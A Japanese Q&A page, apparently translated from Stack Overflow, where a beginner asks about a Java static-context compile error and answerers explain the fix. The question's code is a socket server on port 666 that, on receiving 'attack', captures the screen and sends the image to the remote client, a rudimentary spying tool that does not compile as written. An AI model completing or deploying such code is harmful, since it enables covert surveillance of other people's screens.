0

重複の可能性:
非静的変数は静的コンテキストから参照できません (Java)

次のJavaコードをコンパイル中に上記のエラーが発生しました。私はこの言語に不慣れで、コードについてはよくわかりません。通常のエラーはクリアできますが、これは何なのかわかりません。助けてください

public class Kari_Server
{


    ServerSocket server_socket=new ServerSocket(666);       
    Socket soc=server_socket.accept();
    DataInputStream data_in=new DataInputStream(soc.getInputStream());
    DataOutputStreamdata_out=newDataOutputStream(soc.getOutputStream());
    int a=1;
    int i;

    public void screen()throws Exception
    {

        Robot robo=new Robot();
        BufferedImage screen_shot=robo.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
        ImageIO.write(screen_shot,"JPG",new File("C:\\windows\\temp\\screen_shot"+a+".jpg"));
        FileInputStream file_in=new FileInputStream("C:\\windows\\temp\\screen_shot"+a+".jpg");
        byte[] mybyte=new byte[1024];
        try
        {
            while((i=file_in.read(mybyte))>-1)
                data_out.writeUTF(mybyte,0,i);
        }
        catch(Exception e)  {}  
    }           

    public static void main(String args[])throws Exception  
    {
        Kari_Server kari=new Kari_Server();
        while(true)
        {
            String s1=" ";
            s1=data_in.readUTF();
            if(s1=="attack")
                kari.screen();
            else
                System.exit(0);
        }   
    }   
}  
4

5 に答える 5

1

data_in は Kari_Server のインスタンスに属していますが、main 関数はそうではありません。data_in への参照を非静的関数に移動します。

...
protected readUTF() throws Exception
{
    return data_in.readUTF();
}
public static void main(String args[]) throws Exception
{
    {
        Kari_Server kari=new Kari_Server();
        while(true)
        {
            String s1=" ";
            s1=kari.readUTF();
... 
于 2013-01-27T09:44:33.230 に答える
1

メイン メソッドは静的メソッドです。クラスから静的変数以外にはアクセスできません。data_in にアクセスするには、既存のkari変数を使用して作業する必要があります。だから、代わりに

s1=data_in.readUTF();

使用する

s1=kari.data_in.readUTF();

于 2013-01-27T09:40:01.007 に答える
0

静的なメイン メソッドからメソッドと変数を呼び出しているため、メソッドとメソッドで使用されるクラス内のすべての変数は静的として宣言する必要があります。

于 2013-01-27T09:44:33.240 に答える
0

あなたの問題はdata_inにあると思います

 DataInputStream data_in=new DataInputStream(soc.getInputStream());

そのフィールドを static void main メソッドで使用します

  s1=data_in.readUTF();

静的メソッドは非静的フィールドにアクセスできません。

解決策は次のとおりです。

  1. data_in を静的フィールドに変更します

    static DataInputStream data_in=new DataInputStream(soc.getInputStream());
    
  2. または、 kari オブジェクトを使用して data_in にアクセスします。

    kari.data_in
    
于 2013-01-27T09:41:36.463 に答える
0

data_in は、Kari_Server クラスのメンバー フィールドです。したがって、Kari_Server のインスタンスを介して参照する必要があります。kari.data_in を使用するか、このフィールドのゲッターを作成して kari.gatDataIn() を使用できます。

于 2013-01-27T09:42:13.303 に答える